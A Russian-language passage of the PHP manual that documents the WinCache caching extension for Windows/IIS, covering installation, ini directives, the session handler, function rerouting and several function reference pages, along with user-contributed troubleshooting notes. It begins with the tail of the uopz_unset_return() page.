Отменяет возвращаемое значение function, ранее заданное функцией uopz_set_return().

Список параметров

class

Имя класса, содержащего функцию

function

Имя функции

Возвращаемые значения

True в случае успешного выполнения

Примеры

Пример #1 Пример использования uopz_unset_return()

<?php
uopz_set_return("strlen", 42);
$len = strlen("Banana");
uopz_unset_return("strlen");
echo $len + strlen("Banana");
?>

Результат выполнения данного примера:

48

User Contributed Notes

There are no user contributed notes for this page.


Windows Cache для PHP

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Скрипт статистики WinCache
    • Обработчик сессий WinCache
    • Перенаправление функций WinCache
    • Типы ресурсов
  • Предопределённые константы
  • Функции WinCache
    • wincache_fcache_fileinfo — Получает информацию о файлах, закешированных в файловом кеше
    • wincache_fcache_meminfo — Получает информацию об использовании памяти файлового кеша
    • wincache_lock — Получает эксклюзивную блокировку для данного ключа
    • wincache_ocache_fileinfo — Получает информацию о файлах, закешированных в кеше опкодов
    • wincache_ocache_meminfo — Получает информацию об использовании кеш-памяти опкодов
    • wincache_refresh_if_changed — Обновляет записи кеша для закешированных файлов
    • wincache_rplist_fileinfo — Получает информацию о разрешении кеша пути к файлу разрешения
    • wincache_rplist_meminfo — Получает информацию об использовании памяти с помощью кеша пути к файлу разрешения
    • wincache_scache_info — Получает информацию о файлах, закешированных в кеше сессии
    • wincache_scache_meminfo — Получает информацию об использовании кеш-памяти сессии
    • wincache_ucache_add — Добавляет переменную в пользовательский кеш, только если переменная ещё не существует в кеше
    • wincache_ucache_cas — Сравнивает переменную со старым значением и присваивает ей новое значение
    • wincache_ucache_clear — Удаляет всё содержимое пользовательского кеша
    • wincache_ucache_dec — Уменьшает значение, связанное с ключом
    • wincache_ucache_delete — Удаляет переменные из пользовательского кеша
    • wincache_ucache_exists — Проверяет, существует ли переменная в пользовательском кеше
    • wincache_ucache_get — Получает переменную, хранящуюся в пользовательском кеше
    • wincache_ucache_inc — Увеличивает значение, связанное с ключом
    • wincache_ucache_info — Получает информацию о данных, хранящихся в пользовательском кеше
    • wincache_ucache_meminfo — Получает информацию об использовании памяти пользовательского кеша
    • wincache_ucache_set — Добавляет переменную в пользовательский кеш и перезаписывает переменную, если она уже существует в кеше
    • wincache_unlock — Снимает эксклюзивную блокировку данного ключа
  • Сборка для Windows
    • Пререквизиты
    • Компиляция и сборка
    • Проверка сборки

User Contributed Notes

There are no user contributed notes for this page.


Введение

Windows Cache Extension для PHP - это кеширующий модуль, позволяющий увеличить скорость работы PHP-приложений на Windows и Windows Server. Как только вы включаете Windows Cache Extension и он загружается движком PHP, приложения начинают получать все его преимущества без необходимости менять их код.

Модуль включает 5 различных типов кешей. Далее рассказывается про назначение и преимущества каждого типа кеша.

  • PHP Opcode Cache - PHP является скриптовым языком, который читает входящий поток данных, содержащий текст и/или инструкции языка и выдаёт новый поток данных, обычно в формате HTML. Т.е. на стороне веб-сервера, PHP читает, разбирает, компилирует и запускает PHP-скрипт каждый раз, когда его запрашивает клиент. Чтение, разбор и компиляция создают дополнительную нагрузку на процессорные ядра и файловую систему сервера, что сказывается на конечной производительности приложения. Кеширование байт-кода (опкода) PHP позволяет держать уже скомпилированный код в разделяемой памяти и использовать его при следующих запросах к тому же скрипту.

    Поддержка кеширования опкодов была удалена в Wincache 2.0.0. Так что если она вам нужна, то следует использовать модуль OPcache, который включён в PHP.

  • File Cache - даже если включено кеширование опкодов, PHP всё равно обращается к файлам на файловой системе. Когда PHP-скрипт размещён в удалённой файловой папке, файловые операции значительно снижают производительность. Windows Cache Extension включает файловое кеширование, которое используется для сохранения контента скриптов в разделяемой памяти, что сильно сокращает количество операций доступа к файловой системе для PHP.

  • Resolve File Path Cache - скрипты PHP довольно часто включают или оперируют файлами, используя относительные пути. Каждый такой путь сначала нормализуется PHP до абсолютного пути. Когда приложение использует большое количество файлов и обращается к ним по относительным путям, операции выведения абсолютных путей могут негативно сказаться на производительности. Модуль Windows Cache Extension предоставляет инструмент кеширования Resolve File Path, который используется для сохранения сопоставления относительных и абсолютных файловых путей, позволяя снизить количество операций их выведения.

  • User Cache (доступно с версии 1.1.0) - скрипты PHP могут получить преимущества кеширования в разделяемой памяти посредством API пользовательского кеширования. Объекты и переменные PHP могут быть сохранены в пользовательском кеше и переиспользованы в последующих запросах. Это может как повысить производительность приложения, так и разделить данные между несколькими процессами PHP.

  • Session Handler (доступно с версии 1.1.0) - обработчик сессий WinCache может быть использован для сохранения данных сессии в кеше в разделяемой памяти. Это позволяет избежать дисковых операций при записи и чтении данных сессии, что может сильно увеличить производительность, если таких данных много.

User Contributed Notes

There are no user contributed notes for this page.


Установка и настройка

Содержание

  • Требования
  • Установка
  • Настройка во время выполнения
  • Скрипт статистики WinCache
  • Обработчик сессий WinCache
  • Перенаправление функций WinCache
  • Типы ресурсов

User Contributed Notes

There are no user contributed notes for this page.


Требования

В данный момент модуль поддерживается только для следующих конфигураций:

Windows OS:

  • Windows XP SP3 с IIS 5.1 и » FastCGI Extension
  • Windows Server 2003 с IIS 6.0 и » FastCGI Extension
  • Windows Vista SP1 с IIS 7.0 и FastCGI Module
  • Windows Server 2008 с IIS 7.0 и FastCGI Module
  • Windows 7 с IIS 7.5 и FastCGI Module
  • Windows Server 2008 R2 с IIS 7.5 и FastCGI Module

PHP:

  • PHP 5.2.X, не потокобезопасная сборка
  • PHP 5.3 X86, не потокобезопасная VC9 сборка

Замечание: Модуль WinCache может использоваться только если IIS настроен использовать PHP через FastCGI.

User Contributed Notes

win_php at user dot com 28-Aug-2013 05:04
I finally fixed the problem by installing another freshly downloaded php install from windows.php.net. I think that the problem was that the php version in Easyphp is thread safe as opposed to non-thread safe which is recommended for IIS/FastCgi.
win_php at user dot com 27-Aug-2013 07:45
Is this supported on Windows 8? I downloaded the WinCache for php5.3 and the one for PHP 5.4. I tried on both and it failed in both cases with the same error:

C:\Program Files (x86)\EasyPHP-DevServer-13.1VC11\binaries\php\php_runningversion\php-cgi.exe - The FastCGI process exited unexpectedly

and yes, I am using php5.4, which comes with easyphp vc11 and I am telling IIS/FastCGI to look for php-cgi in the easyphp folder. That has no problems, except when I try to load this extension, which hoses php for IIS.
lslight at no-log dot org 27-Aug-2013 09:48
PHP 5.4 X86, Non-thread-safe VC9 build, supported with WinCache 1.3.x
PHP 5.5 X86, Non-thread-safe VC11 build, supported with WinCache 1.3.5


Установка

Этот модуль » PECL не поставляется вместе с PHP.

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/wincache.

Существует два пакета для этого модуля: один пакет для PHP 5.2.X, а другой для PHP 5.3.X. Выбор необходимого пакета зависит от вашей версии PHP.

Для установки и включения модуля следуйте следующей инструкции:

  1. Разархивируйте пакет во временную папку.

  2. Скопируйте php_wincache.dll в каталог с модулями PHP. Обычно этот каталог называется "ext" и расположен там же, где установлен PHP. К примеру: C:\Program Files\PHP\ext.

  3. Используя текстовый редактор откройте файл php.ini, который обычно лежит там же, где установлен PHP. К примеру: C:\Program Files\PHP\php.ini.

  4. Добавьте в конец файла строку: extension = php_wincache.dll.

  5. Сохраните и закройте файл php.ini.

  6. Пересоздайте пул приложений IIS для того, чтобы изменения вступили в силу. Для проверки того, что модуль включён, создайте файл phpinfo.php с кодом, вызывающим функцию PHP phpinfo.

  7. Сохраните phpinfo.php в корневом каталоге веб-сайта и обратитесь к нему через веб-браузер по следующей ссылке http://localhost/phpinfo.php. Найдите в выводе секцию wincache. Если модуль включён, то функция phpinfo покажет список конфигурационных параметров WinCache.

Замечание: Не забудьте удалить файл phpinfo.php после того, как он перестанет быть нужен.

User Contributed Notes

junk_1105 at hotmail dot com 31-Jan-2017 01:23
The wincache version for 7.0 is compiled for php7.dll not the thread safe php7ts.dll.  You may need to compile the source for wincache or change to the non thread safe version.
bobby mcbobbins 02-Nov-2016 11:53
If you're looking for the DLLs for WinCache 2.0.0 (for use with PHP7+), here's a quick outline of the steps I took:

- Download the appropriate build from wincache's repository on sourceforge
- Run the .exe and extract the archive to a temporary directory
- Using 7zip, unpack the .msi within that temporary directory
- Add the .dll extension to the file named "php_wincache"
nils dot luxton at gmail dot com 24-Jun-2011 04:10
If you're after pre-compiled binaries for WinCache, you can find them here: http://www.iis.net/download/WinCacheForPhp on the right-hand side of the page (under the Web Platform Installer button)


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

В таблице представлен список конфигурационных параметров модуля WinCache:

Конфигурационные параметры WinCache
Имя | По умолчанию | Минимум | Максимум | Место изменения | Список изменений
wincache.fcenabled | "1" | "0" | "1" | PHP_INI_ALL | Доступно с WinCache 1.0.0
wincache.fcenabledfilter | "NULL" | "NULL" | "NULL" | PHP_INI_SYSTEM | Доступно с WinCache 1.0.0
wincache.fcachesize | "24" | "5" | "255" | PHP_INI_SYSTEM | Доступно с WinCache 1.0.0
wincache.fcndetect | "1" | "0" | "1" | PHP_INI_SYSTEM | Доступно с WinCache 1.1.0
wincache.maxfilesize | "256" | "10" | "2048" | PHP_INI_SYSTEM | Доступно с WinCache 1.0.0
wincache.ocenabled | "1" | "0" | "1" | PHP_INI_ALL | Доступно с WinCache 1.0.0. Удалено в 2.0.0.0
wincache.ocenabledfilter | "NULL" | "NULL" | "NULL" | PHP_INI_SYSTEM | Доступно с WinCache 1.0.0. Удалено в 2.0.0.0
wincache.ocachesize | "96" | "15" | "255" | PHP_INI_SYSTEM | Доступно с WinCache 1.0.0. Удалено в 2.0.0.0
wincache.filecount | "4096" | "1024" | "16384" | PHP_INI_SYSTEM | Доступно с WinCache 1.0.0
wincache.chkinterval | "30" | "0" | "300" | PHP_INI_SYSTEM | Доступно с WinCache 1.0.0
wincache.ttlmax | "1200" | "0" | "7200" | PHP_INI_SYSTEM | Доступно с WinCache 1.0.0
wincache.enablecli | 0 | 0 | 1 | PHP_INI_SYSTEM | Доступно с WinCache 1.0.0
wincache.ignorelist | NULL | NULL | NULL | PHP_INI_ALL | Доступно с WinCache 1.0.0
wincache.namesalt | NULL | NULL | NULL | PHP_INI_SYSTEM | Доступно с WinCache 1.0.0
wincache.ucenabled | 1 | 0 | 1 | PHP_INI_SYSTEM | Доступно с WinCache 1.1.0
wincache.ucachesize | 8 | 5 | 85 | PHP_INI_SYSTEM | Доступно с WinCache 1.1.0
wincache.scachesize | 8 | 5 | 85 | PHP_INI_SYSTEM | Доступно с WinCache 1.1.0
wincache.rerouteini | NULL | NULL | NULL | PHP_INI_SYSTEM | Доступно с WinCache 1.2.0. Удалено в 1.3.7
wincache.reroute_enabled | 1 | 0 | 1 | PHP_INI_SYSTEM | PHP_INI_PERDIR | Доступно с WinCache 1.3.7
wincache.srwlocks | 1 | 0 | 1 | PHP_INI_SYSTEM | Доступно с WinCache 1.3.6.3. Удалено в 2.0.0.0
wincache.filemapdir | NULL | NULL | NULL | PHP_INI_SYSTEM | Доступно с WinCache 1.3.7.4
Для подробного описания констант PHP_INI_*, обратитесь к разделу Где могут быть установлены параметры конфигурации.

Краткое разъяснение конфигурационных директив.

wincache.fcenabled bool
Включает/отключает файловое кеширование.
wincache.fcenabledfilter string
Определяет список идентификаторов IIS веб-серверов, разделённых запятой, для которых должно быть разрешено/запрещено файловое кеширование. Эта настройка работает в паре с wincache.fcenabled: если wincache.fcenabled установлено в 1, то для серверов, перечисленных в wincache.fcenabledfilter файловое кеширование будет отключено; если wincache.fcenabled установлено как 0, то для серверов, перечисленных в wincache.fcenabledfilter файловое кеширование будет включено.
wincache.fcachesize int
Определяет максимальный размер памяти (в мегабайтах) для файлового кеша. Когда размер всех закешированных файлов превысит это значение, из кеша будут удалены самые устаревшие файлы.
wincache.fcndetect bool
Включает/отключает функциональность оповещения об изменении файла. Если функционал оповещения об изменениях файла поддерживается, то он может быть использован для обновления кеша опкодов и файлового кеша при получении соответствующих оповещений. Если подобный механизм не поддерживается, например, при использовании сетевых папок, wincache будет самостоятельно проверять файлы на предмет изменения через заданные в настройке wincache.chkinterval интервалы времени.
wincache.maxfilesize int
Определяет максимальный размер одного файла (в килобайтах) для файлового кеша. Если размер файла превышает заданное значение, то он не будет закеширован. Данная настройка применяется только к файловому кешу.
wincache.ocenabled bool
Внимание

Эта опция была УДАЛЕНА в версии 2.0.0.0

Включает/отключает кеширование опкодов
wincache.ocenabledfilter string
Внимание

Эта опция была УДАЛЕНА в версии 2.0.0.0

Определяет список идентификаторов IIS веб-серверов, разделённых запятой, для которых должно быть разрешено/запрещено кеширование опкодов. Эта настройка работает в паре с wincache.ocenabled: если wincache.ocenabled установлено в 1, то для серверов, перечисленных в wincache.ocenabledfilter файловое кеширование будет отключено; если wincache.ocenabled установлено как 0, то для серверов, перечисленных в wincache.ocenabledfilter файловое кеширование будет разрешено.
wincache.ocachesize int
Внимание

Эта опция была УДАЛЕНА в версии 2.0.0.0

Определяет максимальный размер памяти (в мегабайтах) для кеша опкодов. Когда размер всех закешированных опкодов превысит это значение, из кеша будут удалены самые устаревшие из них. Обратите внимание, что кеш опкодов должен быть как минимум в 3 раза больше файлового кеша. Если это не так, то размер кеша опкодов будет автоматически увеличен.
wincache.filecount int
Определяет, сколько примерно файлов будет закешировано модулем, чтобы при старте был выделен соответствующий кусок памяти. Если количество файлов превысит заданное значение, то WinCache произведёт переаллокацию памяти.
wincache.chkinterval int
Определяет насколько часто (в секундах) модуль будет проверять файлы на предмет их изменения для обновления кешей. Значение 0 отключает данный функционал. Изменения файлов не будут отражены в кеше до тех пор, пока закешированная запись не будет удалена из кеша сборщиком устаревших записей, либо пока не будет переработан пул приложений IIS, либо не будет вызвана функция wincache_refresh_if_changed.
wincache.ttlmax int
Определяет максимальное время (в секундах) невостребованности для записи в кеше. Установка в 0 отключает процесс удаления устаревших записей, что приведёт к тому, что запись будет лежать в кеше пока сервер IIS не будет остановлен.
wincache.enablecli bool
Определяет, разрешено ли кеширование при работе PHP из командной строки (CLI).
wincache.ignorelist string

Определяет список файлов, которые не нужно кешировать. Указываются только имена файлов. Символ разделитель - вертикальная черта "|".

Пример #1 Пример использования wincache.ignorelist

wincache.ignorelist = "index.php|misc.php|admin.php"

wincache.namesalt string
Определяет строку, которая будет использоваться при именовании объектов, помещаемых в разделяемую память. Это необходимо для предотвращения коллизий, когда несколько процессов работают с разделяемой памятью. Длина данной строки не должна превышать 8 символов.
wincache.ucenabled bool
Включает/отключает пользовательский кеш.
wincache.ucachesize int
Определяет максимальный размер памяти (в мегабайтах) для пользовательского кеша. Когда размер всех закешированных переменных превысит это значение, из кеша будут удалены самые устаревшие переменные.
wincache.scachesize int
Определяет максимальный размер памяти (в мегабайтах) для сессионного кеша. Когда размер всех закешированных данных превысит это значение, из кеша будут удалены самые устаревшие данные.
wincache.rerouteini string
Внимание

Эта опция была УДАЛЕНА в версии 1.3.7. Начиная с 1.3.7. вместо неё используйте wincache.reroute_enabled.

Задаёт абсолютный или относительный путь к reroute.ini, который содержит список функций PHP, чья реализация должна быть подменена реализацией из модуля WinCache. Если задан относительный путь, то он будет разрешаться относительно местоположения файла php-cgi.exe.
wincache.reroute_enabled bool
Включает/отключает перенаправление некоторых функций файлового ввода/вывода для работы через файловый кеш.
wincache.srwlocks bool
Внимание

Эта опция была УДАЛЕНА в версии 2.0.0.0

Включает/отключает использование разделяемых блокировок чтения/записи. Выключение полезно при отладке ситуаций взаимных блокировок в WinCache.
wincache.filemapdir string
Задаёт абсолютный путь к директории, где WinCache будет держать временные файлы для сегментов разделяемой памяти. Эта директория должна располагаться на локальной машине и ни в коем случае не на сетевой файловой системе. Если директория не указана, то WinCache будет использовать Windows System Page File.

User Contributed Notes

software journalist 03-Feb-2020 05:17
wincache.php showed in Session Cache Overview that the Available Memory was returning NAN B.

A Google search returned nothing specific to this.

Stopping the App Pool and Deleting the *session*.tmp file in the windows temp directory solved this issue. (Thanks to previous noter)
ericsten at php dot net 02-Feb-2015 11:33
[Editor's note: fixed typo]

Just a quick note about something I've discovered through debugging a recent WinCache issue:

If you change the wincache.scachesize value, you MUST shutdown all php-cgi.exe instances and manually delete the wincache_session_*.tmp file.

The wincache_session_*.tmp file will in the directory specified by session.save_path in the php.ini file.

An example session file name would look like: wincache_session_1_565779.tmp

If you don't delete this file, you will run into corruption in cross-process shared memory segments for the WinCache session handler.  These will show up as 500 errors from your IIS server.

Thx!

    --E.


Скрипт статистики WinCache

Установочный пакет WinCache содержит PHP-скрипт, wincache.php, который можно использовать для получения статистики использования кеша.

Если модуль WinCache был установлен с помощью Microsoft Web Platform Installer, то скрипт будет располагаться по пути %SystemDrive%\Program Files\IIS\Windows Cache for PHP\. На 64-разрядных версиях Windows Server, скрипт лежит по пути %SystemDrive%\Program Files (x86)\IIS\Windows Cache for PHP. Если модуль устанавливался самостоятельно, то wincache.php будет лежать в том же каталоге, в который вы распаковывали установочный пакет.

Для использования wincache.php, скопируйте его в корневой каталог веб-сайта или в любой его подкаталог. Для защиты скрипта, откройте его в текстовом редакторе и измените значения констант USERNAME и PASSWORD. Если для аутентификации в IIS используется другой механизм, то следуйте инструкциям в комментариях:

Пример #1 Настройка аутентификации для wincache.php

<?php
/**
* ======================== CONFIGURATION SETTINGS ==============================
* If you do not want to use authentication for this page, set USE_AUTHENTICATION to 0.
* If you use authentication then replace the default password.
*/
define('USE_AUTHENTICATION', 1);
define('USERNAME', 'wincache');
define('PASSWORD', 'wincache');

/**
* The Basic PHP authentication will work only when IIS is configured to support
* Anonymous Authentication' and nothing else. If IIS is configured to support/use
* any other kind of authentication like Basic/Negotiate/Digest etc, this will not work.
* In that case use the array below to define the names of users in your
* domain/network/workgroup which you want to grant access to.
*/
$user_allowed = array('DOMAIN\user1', 'DOMAIN\user2', 'DOMAIN\user3');

/**
* If the array contains string 'all', then all the users authenticated by IIS
* will have access to the page. Uncomment the below line and comment above line
* to grant access to all users who gets authenticated by IIS.
*/
/* $user_allowed = array('all'); */

/** ===================== END OF CONFIGURATION SETTINGS ========================== */
?>

Замечание: Всегда защищайте скрипт wincache.php с помощью встроенного механизма, либо с помощью механизма аутентификации веб-сервера. Оставляя доступ к скрипту открытым вы можете скомпрометировать ваше приложение и веб-сервер.

User Contributed Notes

There are no user contributed notes for this page.


Обработчик сессий WinCache

Обработчик сессий WinCache (доступен с WinCache 1.1.0) может использоваться для хранения данных сессий в кеше в разделяемой памяти. Использование памяти вместо файловой системы поможет улучшить производительность вашего приложения, если оно сохраняет большое количество сессионных данных. Кеш сессий Wincache использует дублирование данных на диске, что позволяет сохранить сессионные данные при пересоздании пула приложений IIS.

Для настройки использования обработчика сессий WinCache измените в файле php.ini настройку session.save_handler на wincache. По умолчанию, для хранения данных сессий используется временная директория Windows. Для изменения пути к сессионному файлу используйте настройку session.save_path.

Пример #1 Включение обработчика сессий WinCache

session.save_handler = wincache
session.save_path = C:\inetpub\temp\session\

User Contributed Notes

some at email dot com 16-Nov-2011 01:23
IF you use Apache and Session not work add to FCGID

DefaultInitEnv APP_POOL_ID "DefaultAppPool"
sethm at uoregon dot edu 06-Oct-2010 10:04
Just as an fyi to anyone who has similar issues. WinCache v1.1.x would not write sessions to files under certain conditions. This means that all sessions are lost whenever an app-pool recycle occur. Here is the work around:

If your app-pool name has periods (.) in it, change them to underscores (_). So an app-pool named www.somesite.com should be renamed to www_somesite_com.

You can see the discussion here:
http://forums.iis.net/p/1171996/1957839.aspx#1957839


Перенаправление функций WinCache

ОБРАТИТЕ ВНИМАНИЕ: wincache.rerouteini удалена в WinCache 1.3.7.0. Она была заменена автоматическим перенаправлением. Смотрите wincache.reroute_enabled.

Перенаправление функций WinCache (доступно с WinCache 1.2.0, удалено с WinCache 1.3.7.0) может использоваться для замены встроенных функций их эквивалентами, оптимизированными для работы с файловым кешем. Модуль WinCache включает оптимизированные под Windows реализации функций работы с файлами, что может повысить производительность PHP-приложений в случаях работы с файлами и сетевыми папками. Оптимизированные версии представлены для следующих функций:

  • file_exists
  • file_get_contents
  • readfile
  • is_readable
  • is_writable
  • is_dir
  • realpath
  • filesize

Для настройки использования перенаправления в WinCache используется файл reroute.ini, который включён в установочный пакет. Скопируйте этот файл в ту же директорию, где находится php.ini. После этого добавьте в php.ini настройку wincache.rerouteini и укажите абсолютный или относительный путь к reroute.ini.

Пример #1 Включение перенаправления функций в WinCache

wincache.rerouteini = C:\PHP\reroute.ini

Замечание: Если перенаправление функций включено, то рекомендуется увеличить размер файлового кеша WinCache. Его размер настраивается в директиве wincache.fcachesize.

Файл reroute.ini содержит описание привязок встроенных функций PHP к их эквивалентам модуля WinCache. Каждая строка файла определяет привязку с использованием следующего синтаксиса:

<Имя функции PHP>:[<количество параметров функции>]=<имя функции wincache>

Пример файла приведён ниже. В этом примере вызов PHP-функции file_get_contents() подменяется вызовом функции wincache_file_get_contents() только если количество переданных параметров меньше или равно 2. Указание количества параметров полезно если подменяющая функция реализует обработку не всех исходных параметров.

Пример #2 Содержимое файла Reroute.ini

[FunctionRerouteList]
file_exists=wincache_file_exists
file_get_contents:2=wincache_file_get_contents
readfile:2=wincache_readfile
is_readable=wincache_is_readable
is_writable=wincache_is_writable
is_writeable=wincache_is_writable
is_file=wincache_is_file
is_dir=wincache_is_dir
realpath=wincache_realpath
filesize=wincache_filesize

User Contributed Notes

deivid dot garcia dot garcia at gmail dot com 26-Mar-2015 12:22
Prior to Wincache 1.3.7.0 rerouting was broken, see this in the official forums:

 http://forums.iis.net/t/1213205.aspx?Function+reroute+not+working]

After that version, file rerouting functions are enabled by default, to disable them use:

 wincache.reroute_enabled=0


Функции WinCache

Содержание

  • wincache_fcache_fileinfo — Получает информацию о файлах, закешированных в файловом кеше
  • wincache_fcache_meminfo — Получает информацию об использовании памяти файлового кеша
  • wincache_lock — Получает эксклюзивную блокировку для данного ключа
  • wincache_ocache_fileinfo — Получает информацию о файлах, закешированных в кеше опкодов
  • wincache_ocache_meminfo — Получает информацию об использовании кеш-памяти опкодов
  • wincache_refresh_if_changed — Обновляет записи кеша для закешированных файлов
  • wincache_rplist_fileinfo — Получает информацию о разрешении кеша пути к файлу разрешения
  • wincache_rplist_meminfo — Получает информацию об использовании памяти с помощью кеша пути к файлу разрешения
  • wincache_scache_info — Получает информацию о файлах, закешированных в кеше сессии
  • wincache_scache_meminfo — Получает информацию об использовании кеш-памяти сессии
  • wincache_ucache_add — Добавляет переменную в пользовательский кеш, только если переменная ещё не существует в кеше
  • wincache_ucache_cas — Сравнивает переменную со старым значением и присваивает ей новое значение
  • wincache_ucache_clear — Удаляет всё содержимое пользовательского кеша
  • wincache_ucache_dec — Уменьшает значение, связанное с ключом
  • wincache_ucache_delete — Удаляет переменные из пользовательского кеша
  • wincache_ucache_exists — Проверяет, существует ли переменная в пользовательском кеше
  • wincache_ucache_get — Получает переменную, хранящуюся в пользовательском кеше
  • wincache_ucache_inc — Увеличивает значение, связанное с ключом
  • wincache_ucache_info — Получает информацию о данных, хранящихся в пользовательском кеше
  • wincache_ucache_meminfo — Получает информацию об использовании памяти пользовательского кеша
  • wincache_ucache_set — Добавляет переменную в пользовательский кеш и перезаписывает переменную, если она уже существует в кеше
  • wincache_unlock — Снимает эксклюзивную блокировку данного ключа

User Contributed Notes

There are no user contributed notes for this page.


Получает информацию о файлах, закешированных в файловом кеше

  • « Функции WinCache
  • wincache_fcache_meminfo »
  • PHP Manual
  • Функции WinCache
  • Получает информацию о файлах, закешированных в файловом кеше

wincache_fcache_fileinfo

(PECL wincache >= 1.0.0)

wincache_fcache_fileinfo — Получает информацию о файлах, закешированных в файловом кеше

Описание

wincache_fcache_fileinfo(bool $summaryonly = false): array|false

Получает информацию о содержимом файлового кеша и его использовании.

Список параметров

summaryonly

Определяет, будет ли возвращаемый массив содержать информацию об отдельных записях кеша вместе со сводкой файлового кеша.

Возвращаемые значения

Массив метаданных о файловом кеше или false в случае возникновения ошибки.

Массив, возвращаемый этой функцией, содержит следующие элементы:

  • total_cache_uptime - общее время в секундах, в течение которого файловый кеш был активен
  • total_file_count - общее количество файлов, которые в данный момент находятся в файловом кеше
  • total_hit_count - количество раз, когда файлы обслуживались из файлового кеша
  • total_miss_count - количество раз, когда файлы не были найдены в файловом кеше

  • file_entries - массив, содержащий информацию обо всех закешированных файлах:

    • file_name - абсолютное имя закешированного файла
    • add_time - время в секундах с момента добавления файла в кеш
    • use_time - время в секундах с момента обращения к файлу в кеше
    • last_check - время в секундах с момента проверки файла на наличие модификаций
    • hit_count - количество раз, когда файл был обработан из кеша
    • file_size - размер кешируемого файла в байтах

Примеры

Пример #1 Пример использования wincache_fcache_fileinfo()

<pre>
<?php
print_r(wincache_fcache_fileinfo());
?>
</pre>

Результат выполнения данного примера:

Array
(   [total_cache_uptime] => 3234
    [total_file_count] => 5
    [total_hit_count] => 0
    [total_miss_count] => 1
    [file_entries] => Array
        (
            [1] => Array
                (
                    [file_name] => c:\inetpub\wwwroot\checkcache.php
                    [add_time] => 1
                    [use_time] => 0
                    [last_check] => 1
                    [hit_count] => 1
                    [file_size] => 2435
                )
            [2] => Array (...iterates for each cached file)
        )
)

Смотрите также

  • wincache_fcache_meminfo() - Получает информацию об использовании памяти файлового кеша
  • wincache_ocache_fileinfo() - Получает информацию о файлах, закешированных в кеше опкодов
  • wincache_ocache_meminfo() - Получает информацию об использовании кеш-памяти опкодов
  • wincache_rplist_fileinfo() - Получает информацию о разрешении кеша пути к файлу разрешения
  • wincache_rplist_meminfo() - Получает информацию об использовании памяти с помощью кеша пути к файлу разрешения
  • wincache_refresh_if_changed() - Обновляет записи кеша для закешированных файлов
  • wincache_ucache_meminfo() - Получает информацию об использовании памяти пользовательского кеша
  • wincache_ucache_info() - Получает информацию о данных, хранящихся в пользовательском кеше
  • wincache_scache_info() - Получает информацию о файлах, закешированных в кеше сессии
  • wincache_scache_meminfo() - Получает информацию об использовании кеш-памяти сессии

User Contributed Notes

There are no user contributed notes for this page.


Получает информацию об использовании памяти файлового кеша

  • « wincache_fcache_fileinfo
  • wincache_lock »
  • PHP Manual
  • Функции WinCache
  • Получает информацию об использовании памяти файлового кеша

wincache_fcache_meminfo

(PECL wincache >= 1.0.0)

wincache_fcache_meminfo — Получает информацию об использовании памяти файлового кеша

Описание

wincache_fcache_meminfo(): array|false

Получает информацию об использовании памяти файлового кеша.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив метаданных об использовании памяти файлового кеша или false в случае возникновения ошибки

Массив, возвращаемый этой функцией, содержит следующие элементы:

  • memory_total - объем памяти в байтах, выделенный для файлового кеша
  • memory_free - объем свободной памяти в байтах, доступной для файлового кеша
  • num_used_blks - количество блоков памяти, используемых файловым кешем
  • num_free_blks - количество свободных блоков памяти, доступных для файлового кеша
  • memory_overhead - объем памяти в байтах, используемый для внутренних структур файлового кеша

Примеры

Пример #1 Пример использования wincache_fcache_meminfo()

<pre>
<?php
print_r(wincache_fcache_meminfo());
?>
</pre>

Результат выполнения данного примера:

Array
(
    [memory_total] => 134217728
    [memory_free] => 131339120
    [num_used_blks] => 361
    [num_free_blks] => 3
    [memory_overhead] => 5856
)

Смотрите также

  • wincache_fcache_fileinfo() - Получает информацию о файлах, закешированных в файловом кеше
  • wincache_ocache_fileinfo() - Получает информацию о файлах, закешированных в кеше опкодов
  • wincache_ocache_meminfo() - Получает информацию об использовании кеш-памяти опкодов
  • wincache_rplist_fileinfo() - Получает информацию о разрешении кеша пути к файлу разрешения
  • wincache_rplist_meminfo() - Получает информацию об использовании памяти с помощью кеша пути к файлу разрешения
  • wincache_refresh_if_changed() - Обновляет записи кеша для закешированных файлов
  • wincache_ucache_meminfo() - Получает информацию об использовании памяти пользовательского кеша
  • wincache_ucache_info() - Получает информацию о данных, хранящихся в пользовательском кеше
  • wincache_scache_info() - Получает информацию о файлах, закешированных в кеше сессии
  • wincache_scache_meminfo() - Получает информацию об использовании кеш-памяти сессии

User Contributed Notes

There are no user contributed notes for this page.


Получает эксклюзивную блокировку для данного ключа

  • « wincache_fcache_meminfo
  • wincache_ocache_fileinfo »
  • PHP Manual
  • Функции WinCache
  • Получает эксклюзивную блокировку для данного ключа

wincache_lock

(PECL wincache >= 1.1.0)

wincache_lock — Получает эксклюзивную блокировку для данного ключа

Описание

wincache_lock(string $key, bool $isglobal = false): bool

Получает эксклюзивную блокировку для данного ключа. Выполнение текущего скрипта будет заблокировано до тех пор, пока блокировка не будет получена. После получения блокировки другие сценарии, которые пытаются запросить блокировку с помощью того же ключа, будут заблокированы до тех пор, пока текущий скрипт не снимет блокировку с помощью wincache_unlock().

Внимание

Использование wincache_lock() и wincache_unlock() может вызвать взаимную блокировку при выполнении скриптов PHP в многопроцессорной среде, такой как FastCGI. Не используйте эти функции, если вы не уверены, что вам это нужно. Для большинства операций с пользовательским кешем эти функции использовать не обязательно.

Список параметров

key

Имя ключа в кеше для включения блокировки.

isglobal

Определяет, является ли область блокировки общесистемной или локальной. Локальные блокировки относятся к пулу приложений в случае IIS FastCGI или ко всем процессам PHP, которые имеют один и тот же идентификатор родительского процесса.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования wincache_lock()

<?php
$fp = fopen("/tmp/lock.txt", "r+");
if (wincache_lock("lock_txt_lock")) { // получить эксклюзивную блокировку
ftruncate($fp, 0); // обрезать файл
fwrite($fp, "Напишите что-нибудь здесь\n");
wincache_unlock("lock_txt_lock"); // снять блокировку
} else {
echo "Не удалось получить блокировку!";
}
fclose($fp);
?>

Смотрите также

  • wincache_unlock() - Снимает эксклюзивную блокировку данного ключа
  • wincache_ucache_set() - Добавляет переменную в пользовательский кеш и перезаписывает переменную, если она уже существует в кеше
  • wincache_ucache_get() - Получает переменную, хранящуюся в пользовательском кеше
